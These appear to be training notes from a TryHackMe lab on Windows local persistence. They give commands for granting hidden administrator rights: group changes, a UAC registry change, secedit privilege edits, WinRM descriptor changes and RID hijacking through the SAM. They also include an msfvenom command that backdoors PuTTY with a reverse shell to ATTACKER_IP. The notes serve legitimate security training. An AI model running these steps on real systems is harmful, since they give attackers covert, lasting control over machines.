Assign Group Memberships

• The direct way to make an unprivileged user gain administrative privileges is to make it part of the Administrators group. We can easily achieve this with the following command:

net localgroup administrators jack /add

• Can also use the Backup Operators group. Users in this group won't have administrative privileges but will be allowed to read/write any file or registry key on the system, ignoring any configured DACL.

net localgroup "Backup Operators" jack /add

• Since this is an unprivileged account, it cannot RDP or WinRM back to the machine unless we add it to the Remote Desktop Users (RDP) or Remote Management Users (WinRM) groups. We'll use WinRM.

net localgroup "Remote Management Users" jack /add
net localgroup "Remote Desktop Users" jack /add

• Check the groups and make sure they are not disabled

whoami /groups
GROUP INFORMATION
-----------------
Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551 Group used for deny only

• This is due to User Account Control (UAC). One of the features implemented by UAC, LocalAccountTokenFilterPolicy, strips any local account of its administrative privileges when logging in remotely. While you can elevate your privileges through UAC from a graphical user session, if you are using WinRM, you are confined to a limited access token with no administrative privileges.

• Disable LocalAccountTokenFilterPolicy by changing the following registry key to 1:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Special Privileges and Security Descriptors

• A similar result to adding a user to the Backup Operators group can be achieved without modifying any group membership.

• Special groups are only special because the operating system assigns them specific privileges by default. Privileges are simply the capacity to do a task on the system itself.

• Complete list of all privileges:

• https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

• In the case of the Backup Operators group, it has the following two privileges assigned by default:

• SeBackupPrivilege: The user can read any file in the system, ignoring any DACL in place.

• SeRestorePrivilege: The user can write any file in the system, ignoring any DACL in place.

• We can assign such privileges to any user, independent of their group memberships. To do so, we can use the secedit command. First, we will export the current configuration to a temporary file:

secedit /export /cfg config.inf

• We open the file and add our user to the lines in the configuration regarding the SeBackupPrivilege and SeRestorePrivilege:

• 
• We finally convert the .inf file into a .sdb file which is then used to load the configuration back into the system:

secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

• You should now have a user with equivalent privileges to any Backup Operator. The user still can't log into the system via WinRM, so let's do something about it.

• Instead of adding the user to the Remote Management Users group, we'll change the security descriptor associated with the WinRM service to allow jack to connect.

• Think of a security descriptor as an ACL but applied to other system facilities.

• To open the configuration window for WinRM's security descriptor, you can use the following command in Powershell (you'll need to use the GUI session for this):

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

• This will open a window where you can add jack and assign it full privileges to connect to WinRM:

• 
• Notice that for this user to work with the given privileges fully, you'd have to change the LocalAccountTokenFilterPolicy registry key

• If you check your user's group memberships, it will look like a regular user. Nothing suspicious at all!

net user jack
User name                    jack

Local Group Memberships      *Users
Global Group memberships     *None

RID Hijacking

• When a user is created, an identifier called Relative ID (RID) is assigned to them.

• The RID is simply a numeric identifier representing the user across the system. When a user logs on, the LSASS process gets its RID from the SAM registry hive and creates an access token associated with that RID.

• If we can tamper with the registry value, we can make windows assign an Administrator access token to an unprivileged user by associating the same RID to both accounts.

• In any Windows system, the default Administrator account is assigned the RID = 500, and regular users usually have RID >= 1000.

wmic useraccount get name,sid

Name                SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
--snip--

• Now we only have to assign the RID=500 to jack. To do so, we need to access the SAM using Regedit. The SAM is restricted to the SYSTEM account only, so even the Administrator won't be able to edit it. To run Regedit as SYSTEM, we will use psexec.

• PsExec64.exe -i -s regedit From Regedit, we will go to:

• HKLM\SAM\SAM\Domains\Account\Users\

• We need to search for a key with its RID in hex (1010 = 0x3F2). Under the corresponding key, there will be a value called F, which holds the user's effective RID at position 0x30:

• 
• Notice the RID is stored using little-endian notation, so its bytes appear reversed.

• We will now replace those two bytes with the RID of Administrator in hex (500 = 0x01F4), switching around the bytes (F401):

• 
• The next time jack logs in, LSASS will associate it with the same RID as Administrator and grant them the same privileges.

Executable Files

• If you find any executable laying around the desktop, the chances are high that the user might use it frequently.

• Suppose we find a shortcut to PuTTY lying around. If we checked the shortcut's properties, we could see that it (usually) points to C:\Program Files\PuTTY\putty.exe. From that point, we could download the executable to our attacker's machine and modify it to run any payload we wanted.

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

Credit:

All credit to the content of this page goes to the original author

• https://tryhackme.com/room/windowslocalpersistence

• https://tryhackme.com/p/munra

• https://tryhackme.com/p/tryhackme